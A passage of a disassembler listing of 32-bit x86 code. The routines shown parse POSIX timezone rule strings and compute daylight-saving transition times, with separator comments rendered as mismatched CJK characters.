loc_805A3EF mov edx, [ebp+arg_4] cmp [edx+0Ch], eax jl loc_805A3EF add [ebp+var_1D4C], 10h inc edi mov ecx, [ebp+arg_4] cmp [ecx+8], edi jg short loc_805A464 loc_805A4B6: ; CODE XREF: sub_805A254+204j xor edi, edi mov edx, [ebp+arg_4] cmp [edx+0Ch], edi jle short loc_805A4D3 loc_805A4C0: ; CODE XREF: sub_805A254+27Dj mov al, [esi] mov ecx, [ebp+arg_4] mov [edi+ecx+174Ch], al inc esi inc edi cmp [ecx+0Ch], edi jg short loc_805A4C0 loc_805A4D3: ; CODE XREF: sub_805A254+26Aj mov edx, [ebp+arg_4] mov byte ptr [edi+edx+174Ch], 0 xor edi, edi cmp [edx], edi jle short loc_805A522 mov [ebp+var_1D48], 1780h lea esi, [esi] loc_805A4F0: ; CODE XREF: sub_805A254+2CCj mov ebx, [ebp+arg_4] add ebx, [ebp+var_1D48] push esi call sub_805A0F0 mov [ebx], eax add esi, 4 push esi call sub_805A0F0 mov [ebx+4], eax add esi, 4 add esp, 8 add [ebp+var_1D48], 8 inc edi mov ecx, [ebp+arg_4] cmp [ecx], edi jg short loc_805A4F0 loc_805A522: ; CODE XREF: sub_805A254+28Ej xor edi, edi mov edx, [ebp+arg_4] cmp [edx+8], edi jle short loc_805A575 mov ebx, 74Ch db 8Dh,76h,0 ; lea esi, [esi+0] loc_805A534: ; CODE XREF: sub_805A254+31Fj mov ecx, [ebp+arg_4] add ecx, ebx mov [ebp+var_1D50], ecx cmp [ebp+var_1D44], 0 jz short loc_805A55C movzx eax, byte ptr [esi] mov [ecx+0Ch], eax inc esi cmp eax, 1 jbe short loc_805A569 jmp loc_805A3EF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A55C: ; CODE XREF: sub_805A254+2F2j mov edx, [ebp+var_1D50] mov dword ptr [edx+0Ch], 0 loc_805A569: ; CODE XREF: sub_805A254+2FEj add ebx, 10h inc edi mov ecx, [ebp+arg_4] cmp [ecx+8], edi jg short loc_805A534 loc_805A575: ; CODE XREF: sub_805A254+2D6j xor eax, eax loc_805A577: ; CODE XREF: sub_805A254+1A0j lea esp, [ebp+var_1D5C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A254 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A584 proc near ; CODE XREF: sub_805AAC0+16p ; sub_805AAC0+9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov dl, [ecx] test dl, dl jz short loc_805A5BA movzx eax, dl mov ebx, dword_8078FA0 jmp short loc_805A5AB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A59C: ; CODE XREF: sub_805A584+34j cmp dl, 2Bh jz short loc_805A5BA inc ecx mov dl, [ecx] test dl, dl jz short loc_805A5BA movzx eax, dl loc_805A5AB: ; CODE XREF: sub_805A584+16j test byte ptr [ebx+eax*2+1], 8 jnz short loc_805A5BA mov al, dl add al, 0D4h cmp al, 1 ja short loc_805A59C loc_805A5BA: ; CODE XREF: sub_805A584+Bj ; sub_805A584+1Bj ... mov eax, ecx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805A584 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A5C4 proc near ; CODE XREF: sub_805A634+17p ; sub_805A634+47p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_0] mov edi, [ebp+arg_C] test ebx, ebx jz short loc_805A628 movzx edx, byte ptr [ebx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_805A628 xor edx, edx mov al, [ebx] test al, al jz short loc_805A61A mov esi, dword_8078FA0 mov [ebp+var_4], esi nop loc_805A5F8: ; CODE XREF: sub_805A5C4+54j movzx ecx, al mov esi, [ebp+var_4] test byte ptr [esi+ecx*2+1], 8 jz short loc_805A61A lea eax, [edx+edx*8] lea eax, [edx+eax-30h] lea edx, [ecx+eax] cmp edx, edi jg short loc_805A628 inc ebx mov al, [ebx] test al, al jnz short loc_805A5F8 loc_805A61A: ; CODE XREF: sub_805A5C4+28j ; sub_805A5C4+3Fj cmp [ebp+arg_8], edx jg short loc_805A628 mov esi, [ebp+arg_4] mov [esi], edx mov eax, ebx jmp short loc_805A62A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A628: ; CODE XREF: sub_805A5C4+11j ; sub_805A5C4+20j ... xor eax, eax loc_805A62A: ; CODE XREF: sub_805A5C4+62j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A5C4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A634 proc near ; CODE XREF: sub_805A6C8+32p ; sub_805A720+ABp var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] push 18h push 0 lea eax, [ebp+var_4] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A6B1 mov edx, [ebp+var_4] lea eax, [edx+edx*2] lea eax, [edx+eax*2] shl eax, 5 add eax, edx shl eax, 4 mov [ebx], eax cmp byte ptr [ecx], 3Ah jnz short loc_805A6BD inc ecx push 3Bh push 0 lea eax, [ebp+var_4] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A6B1 mov eax, [ebp+var_4] lea eax, [eax+eax*2] lea eax, [eax+eax*4] shl eax, 2 add [ebx], eax cmp byte ptr [ecx], 3Ah jnz short loc_805A6BD inc ecx push 3Bh push 0 lea eax, [ebp+var_4] push eax push ecx call sub_805A5C4 mov ecx, eax test ecx, ecx jnz short loc_805A6B8 loc_805A6B1: ; CODE XREF: sub_805A634+23j ; sub_805A634+53j xor eax, eax jmp short loc_805A6BF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A6B8: ; CODE XREF: sub_805A634+7Bj mov esi, [ebp+var_4] add [ebx], esi loc_805A6BD: ; CODE XREF: sub_805A634+3Bj ; sub_805A634+66j mov eax, ecx loc_805A6BF: ; CODE XREF: sub_805A634+7Fj lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_805A634 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A6C8 proc near ; CODE XREF: sub_805AAC0+64p ; sub_805AAC0+CBp var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp byte ptr [ecx], 2Dh jnz short loc_805A6E0 mov ebx, 1 inc ecx jmp short loc_805A6F8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A6E0: ; CODE XREF: sub_805A6C8+Ej movzx edx, byte ptr [ecx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jnz short loc_805A6F6 mov al, [ecx] inc ecx cmp al, 2Bh jnz short loc_805A705 loc_805A6F6: ; CODE XREF: sub_805A6C8+25j xor ebx, ebx loc_805A6F8: ; CODE XREF: sub_805A6C8+16j push esi push ecx call sub_805A634 mov ecx, eax test ecx, ecx jnz short loc_805A70C loc_805A705: ; CODE XREF: sub_805A6C8+2Cj xor eax, eax jmp short loc_805A714 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A70C: ; CODE XREF: sub_805A6C8+3Bj test ebx, ebx jz short loc_805A712 neg dword ptr [esi] loc_805A712: ; CODE XREF: sub_805A6C8+46j mov eax, ecx loc_805A714: ; CODE XREF: sub_805A6C8+3Fj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_805A6C8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A720 proc near ; CODE XREF: sub_805AAC0+100p ; sub_805AAC0+122p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] cmp byte ptr [ecx], 4Ah jnz short loc_805A740 mov dword ptr [ebx], 0 inc ecx push 16Dh push 1 jmp short loc_805A7A8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A740: ; CODE XREF: sub_805A720+Dj cmp byte ptr [ecx], 4Dh jnz short loc_805A78C mov dword ptr [ebx], 2 inc ecx push 0Ch push 1 lea eax, [ebx+0Ch] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A7BB mov al, [ecx] inc ecx cmp al, 2Eh jnz short loc_805A7BB push 5 push 1 lea eax, [ebx+8] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A7BB mov al, [ecx] inc ecx cmp al, 2Eh jnz short loc_805A7BB push 6 jmp short loc_805A7A6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A78C: ; CODE XREF: sub_805A720+23j movzx edx, byte ptr [ecx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_805A7BB mov dword ptr [ebx], 1 push 16Dh loc_805A7A6: ; CODE XREF: sub_805A720+6Aj push 0 loc_805A7A8: ; CODE XREF: sub_805A720+1Dj lea eax, [ebx+4] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jnz short loc_805A7C0 loc_805A7BB: ; CODE XREF: sub_805A720+41j ; sub_805A720+48j ... xor eax, eax jmp short loc_805A7DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A7C0: ; CODE XREF: sub_805A720+99j cmp byte ptr [ecx], 2Fh jnz short loc_805A7D4 inc ecx lea eax, [ebx+10h] push eax push ecx call sub_805A634 mov ecx, eax jmp short loc_805A7DB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A7D4: ; CODE XREF: sub_805A720+A3j mov dword ptr [ebx+10h], 1C20h loc_805A7DB: ; CODE XREF: sub_805A720+B2j mov eax, ecx loc_805A7DD: ; CODE XREF: sub_805A720+9Dj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805A720 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A7E4 proc near ; CODE XREF: sub_805AAC0+1BCp ; sub_805AAC0+1D1p var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov ecx, [ebp+arg_0] mov [ebp+var_4], 0 mov edx, [ebp+arg_4] test dl, 3 jnz short loc_805A810 mov eax, [ebp+arg_4] mov edi, 64h cdq idiv edi mov ebx, edx test ebx, ebx jnz short loc_805A821 loc_805A810: ; CODE XREF: sub_805A7E4+19j mov eax, [ebp+arg_4] mov edi, 190h cdq idiv edi mov ebx, edx test ebx, ebx jnz short loc_805A828 loc_805A821: ; CODE XREF: sub_805A7E4+2Aj mov [ebp+var_4], 1 loc_805A828: ; CODE XREF: sub_805A7E4+3Bj mov edx, [ebp+arg_8] mov eax, [edx] cmp eax, 1 jz short loc_805A88C jg short loc_805A840 test eax, eax jz short loc_805A84C jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A840: ; CODE XREF: sub_805A7E4+4Ej cmp eax, 2 jz short loc_805A8AC jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A84C: ; CODE XREF: sub_805A7E4+52j mov edi, [ebp+arg_8] mov edi, [edi+4] dec edi lea eax, [edi+edi*4] lea eax, [edi+eax*4] lea eax, [edi+eax*8] shl eax, 2 sub eax, edi shl eax, 7 lea esi, [eax+ecx] cmp [ebp+var_4], 0 jz loc_805AAA8 mov edx, [ebp+arg_8] cmp dword ptr [edx+4], 3Bh jle loc_805AAA8 add esi, 15180h jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A88C: ; CODE XREF: sub_805A7E4+4Cj mov edi, [ebp+arg_8] mov edi, [edi+4] lea eax, [edi+edi*4] lea eax, [edi+eax*4] lea eax, [edi+eax*8] shl eax, 2 sub eax, edi shl eax, 7 lea esi, [eax+ecx] jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A8AC: ; CODE XREF: sub_805A7E4+5Fj mov esi, ecx xor ebx, ebx mov edx, [ebp+arg_8] mov edx, [edx+0Ch] dec edx mov [ebp+var_C], edx cmp ebx, edx jge loc_805A9B3 mov edi, [ebp+var_4] mov eax, edi add eax, edi add eax, edi mov ecx, eax shl ecx, 4 mov eax, edx sub eax, 0 and eax, 3 jz short loc_805A944 cmp eax, 1 jle short loc_805A922 cmp eax, 2 jle short loc_805A905 mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 4 mov ebx, 1 loc_805A905: ; CODE XREF: sub_805A7E4+FEj mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 4 inc ebx loc_805A922: ; CODE XREF: sub_805A7E4+F9j mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 4 inc ebx cmp [ebp+var_C], ebx jle short loc_805A9B3 loc_805A944: ; CODE XREF: sub_805A7E4+F4j ; sub_805A7E4+1CDj mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax mov edx, dword ptr ds:unk_8068ECC[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax mov edx, dword ptr ds:unk_8068ED0[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax mov edx, dword ptr ds:unk_8068ED4[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 10h add ebx, 4 cmp [ebp+var_C], ebx jg short loc_805A944 loc_805A9B3: ; CODE XREF: sub_805A7E4+D8j ; sub_805A7E4+15Ej mov edx, [ebp+arg_8] mov edx, [edx+0Ch] add edx, 9 mov [ebp+var_C], edx mov eax, [ebp+var_C] mov edi, 0Ch cdq idiv edi mov ecx, edx inc ecx mov [ebp+var_C], ecx mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] cmp dword ptr [edx+0Ch], 2 jg short loc_805A9DD dec eax loc_805A9DD: ; CODE XREF: sub_805A7E4+1F6j mov edi, 64h cdq idiv edi mov ebx, edx mov ecx, eax mov edx, [ebp+var_C] lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea eax, [edx+eax-2] mov [ebp+var_C], eax mov edi, 0Ah cdq idiv edi lea eax, [eax+ebx+1] mov [ebp+var_C], eax mov eax, ebx test eax, eax jge short loc_805AA11 add eax, 3 loc_805AA11: ; CODE XREF: sub_805A7E4+228j sar eax, 2 add [ebp+var_C], eax mov eax, ecx test ecx, ecx jge short loc_805AA20 lea eax, [ecx+3] loc_805AA20: ; CODE XREF: sub_805A7E4+237j sar eax, 2 add [ebp+var_C], eax lea eax, [ecx+ecx] sub [ebp+var_C], eax mov eax, [ebp+var_C] mov edi, 7 cdq idiv edi mov [ebp+var_C], edx test edx, edx jge short loc_805AA44 add edx, 7 mov [ebp+var_C], edx loc_805AA44: ; CODE XREF: sub_805A7E4+258j mov edx, [ebp+arg_8] mov ecx, [edx+4] sub ecx, [ebp+var_C] jns short loc_805AA52 add ecx, 7 loc_805AA52: ; CODE XREF: sub_805A7E4+269j mov ebx, 1 mov edi, [ebp+arg_8] cmp [edi+8], ebx jle short loc_805AA95 mov edx, [ebp+var_4] mov eax, edx add eax, edx add eax, edx shl eax, 4 mov edx, [edi+0Ch] lea edi, ds:0[edx*4] add eax, edi mov [ebp+var_C], eax lea esi, [esi] loc_805AA7C: ; CODE XREF: sub_805A7E4+2AFj lea eax, [ecx+7] mov edi, [ebp+var_C] cmp dword ptr ds:asc_8068EC4[edi], eax ; "/" jle short loc_805AA95 mov ecx, eax inc ebx mov edx, [ebp+arg_8] cmp [edx+8], ebx jnz short loc_805AA7C loc_805AA95: ; CODE XREF: sub_805A7E4+279j ; sub_805A7E4+2A4j lea eax, [ecx+ecx*4] lea eax, [ecx+eax*4] lea eax, [ecx+eax*8] shl eax, 2 sub eax, ecx shl eax, 7 add esi, eax loc_805AAA8: ; CODE XREF: sub_805A7E4+54j ; sub_805A7E4+61j ... mov eax, esi mov edi, [ebp+arg_8] add eax, [edi+10h] add eax, [ebp+arg_C] lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A7E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805AAC0 proc near ; CODE XREF: sub_805AF2C+21p ; sub_805AF5C+8Fp var_64 = byte ptr -64h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push edi push esi push ebx mov ebx, [ebp+arg_0] mov [ebp+var_34], ebx cmp [ebp+arg_8], 0 jnz short loc_805AAF8 push ebx call sub_805A584 mov ebx, eax mov ecx, ebx sub ecx, [ebp+var_34] mov [ebp+var_3C], ecx add esp, 4 cmp ecx, 2 jg short loc_805AB1A loc_805AAED: ; CODE XREF: sub_805AAC0+5Dj ; sub_805AAC0+70j ... mov eax, 0FFFFFFFFh jmp loc_805AF20 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AAF8: ; CODE XREF: sub_805AAC0+13j xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax mov [ebp+var_3C], eax add ebx, eax cmp eax, 32h jbe short loc_805AB1A mov [ebp+var_3C], 32h loc_805AB1A: ; CODE XREF: sub_805AAC0+2Bj ; sub_805AAC0+51j cmp byte ptr [ebx], 0 jz short loc_805AAED lea eax, [ebp+var_4] push eax push ebx call sub_805A6C8 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_805AAED mov edi, [ebp+arg_4] push edi push offset aPosixrules ; "posixrules" call sub_805A254 mov esi, eax add esp, 8 test esi, esi jz short loc_805AB4F mov dword ptr [edi], 0 loc_805AB4F: ; CODE XREF: sub_805AAC0+87j cmp byte ptr [ebx], 0 jz loc_805AE88 mov [ebp+var_38], ebx push ebx call sub_805A584 mov ebx, eax mov ecx, ebx sub ecx, [ebp+var_38] mov [ebp+var_40], ecx add esp, 4 cmp ecx, 2 jle loc_805AAED cmp byte ptr [ebx], 0 jz short loc_805ABA0 cmp byte ptr [ebx], 2Ch jz short loc_805ABA0 cmp byte ptr [ebx], 3Bh jz short loc_805ABA0 lea eax, [ebp+var_8] push eax push ebx call sub_805A6C8 mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_805ABAC jmp loc_805AAED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ABA0: ; CODE XREF: sub_805AAC0+BAj ; sub_805AAC0+BFj ... mov edi, [ebp+var_4] add edi, 0FFFFF1F0h mov [ebp+var_8], edi loc_805ABAC: ; CODE XREF: sub_805AAC0+D7j cmp byte ptr [ebx], 2Ch jz short loc_805ABBA cmp byte ptr [ebx], 3Bh jnz loc_805AD34 loc_805ABBA: ; CODE XREF: sub_805AAC0+EFj inc ebx lea eax, [ebp+var_1C] push eax push ebx call sub_805A720 mov ebx, eax add esp, 8 test ebx, ebx jz loc_805AAED mov al, [ebx] inc ebx cmp al, 2Ch jnz loc_805AAED lea eax, [ebp+var_30] push eax push ebx call sub_805A720 mov ebx, eax add esp, 8 test ebx, ebx jz loc_805AAED cmp byte ptr [ebx], 0 jnz loc_805AAED mov ecx, [ebp+arg_4] mov dword ptr [ecx+8], 2 mov dword ptr [ecx+4], 88h mov edi, [ebp+var_8] neg edi mov [ecx+74Ch], edi mov dword ptr [ecx+750h], 1 mov edi, [ebp+var_3C] inc edi mov [ecx+754h], edi mov edi, [ebp+var_4] neg edi mov [ecx+75Ch], edi mov dword ptr [ecx+760h], 0 mov dword ptr [ecx+764h], 0 mov esi, [ebp+arg_4] add esi, 10h mov ebx, [ebp+arg_4] add ebx, 5D8h mov [ebp+var_44], 0 mov [ebp+var_58], 7B2h db 8Dh,76h,0 ; lea esi, [esi+0] loc_805AC6C: ; CODE XREF: sub_805AAC0+267j mov eax, [ebp+var_4] push eax lea eax, [ebp+var_1C] push eax mov ecx, [ebp+var_58] push ecx mov edi, [ebp+var_44] push edi call sub_805A7E4 mov [ebp+var_48], eax mov eax, [ebp+var_8] push eax lea eax, [ebp+var_30] push eax mov ecx, [ebp+var_58] push ecx push edi call sub_805A7E4 add esp, 20h cmp [ebp+var_48], eax jle short loc_805ACB4 mov [esi], eax add esi, 4 mov byte ptr [ebx], 1 inc ebx mov edi, [ebp+var_48] mov [esi], edi add esi, 4 mov byte ptr [ebx], 0 jmp short loc_805ACC8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ACB4: ; CODE XREF: sub_805AAC0+1DCj mov ecx, [ebp+var_48] mov [esi], ecx add esi, 4 mov byte ptr [ebx], 0 inc ebx mov [esi], eax add esi, 4 mov byte ptr [ebx], 1 loc_805ACC8: ; CODE XREF: sub_805AAC0+1F2j inc ebx mov [ebp+var_54], 0 mov edi, [ebp+var_58] test edi, 3 jnz short loc_805ACE9 mov eax, edi mov ecx, 64h cdq idiv ecx test edx, edx jnz short loc_805ACF8 loc_805ACE9: ; CODE XREF: sub_805AAC0+219j mov eax, [ebp+var_58] mov edi, 190h cdq idiv edi test edx, edx jnz short loc_805ACFF loc_805ACF8: ; CODE XREF: sub_805AAC0+227j mov [ebp+var_54], 1 loc_805ACFF: ; CODE XREF: sub_805AAC0+236j mov ecx, [ebp+var_54] mov edx, ds:dword_8068F28[ecx*4] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add [ebp+var_44], eax inc [ebp+var_58] cmp [ebp+var_58], 7F5h jle loc_805AC6C jmp loc_805AEBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805AD34: ; CODE XREF: sub_805AAC0+F4j cmp byte ptr [ebx], 0 jnz loc_805AAED test esi, esi jnz loc_805AAED mov [ebp+var_4C], 0 xor ebx, ebx mov [ebp+var_58], 0 xor esi, esi mov [ebp+var_54], 0 mov edi, [ebp+var_54] mov ecx, [ebp+arg_4] cmp [ecx+8], edi jle loc_805AE13 mov edi, [ebp+var_8] neg edi mov [ebp+var_50], edi xor eax, eax nop loc_805AD78: ; CODE XREF: sub_805AAC0+34Dj mov ecx, [ebp+arg_4] cmp dword ptr [eax+ecx+750h], 0 jz short loc_805ADBC mov edx, esi mov esi, [eax+ecx+74Ch] add esi, [ebp+var_8] test ebx, ebx jz short loc_805AD9D cmp edx, esi jnz loc_805AAED loc_805AD9D: ; CODE XREF: sub_805AAC0+2D3j mov ecx, [ebp+var_50] mov edi, [ebp+arg_4] mov [eax+edi+74Ch], ecx mov ecx, [ebp+var_3C] inc ecx mov [eax+edi+754h], ecx mov ebx, 1 jmp short loc_805ADFE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ADBC: ; CODE XREF: sub_805AAC0+2C3j mov edx, [ebp+var_58] mov edi, [ebp+arg_4] mov edi, [eax+edi+74Ch] add edi, [ebp+var_4] mov [ebp+var_58], edi cmp [ebp+var_4C], 0 jz short loc_805ADDD cmp edx, edi jnz loc_805AAED loc_805ADDD: ; CODE XREF: sub_805AAC0+313j mov edi, [ebp+var_4] neg edi mov ecx, [ebp+arg_4] mov [eax+ecx+74Ch], edi mov dword ptr [eax+ecx+754h], 0 mov [ebp+var_4C], 1 loc_805ADFE: ; CODE XREF: sub_805AAC0+2FAj add eax, 10h inc [ebp+var_54] mov ecx, [ebp+var_54] mov edi, [ebp+arg_4] cmp [edi+8], ecx jg loc_805AD78 loc_805AE13: ; 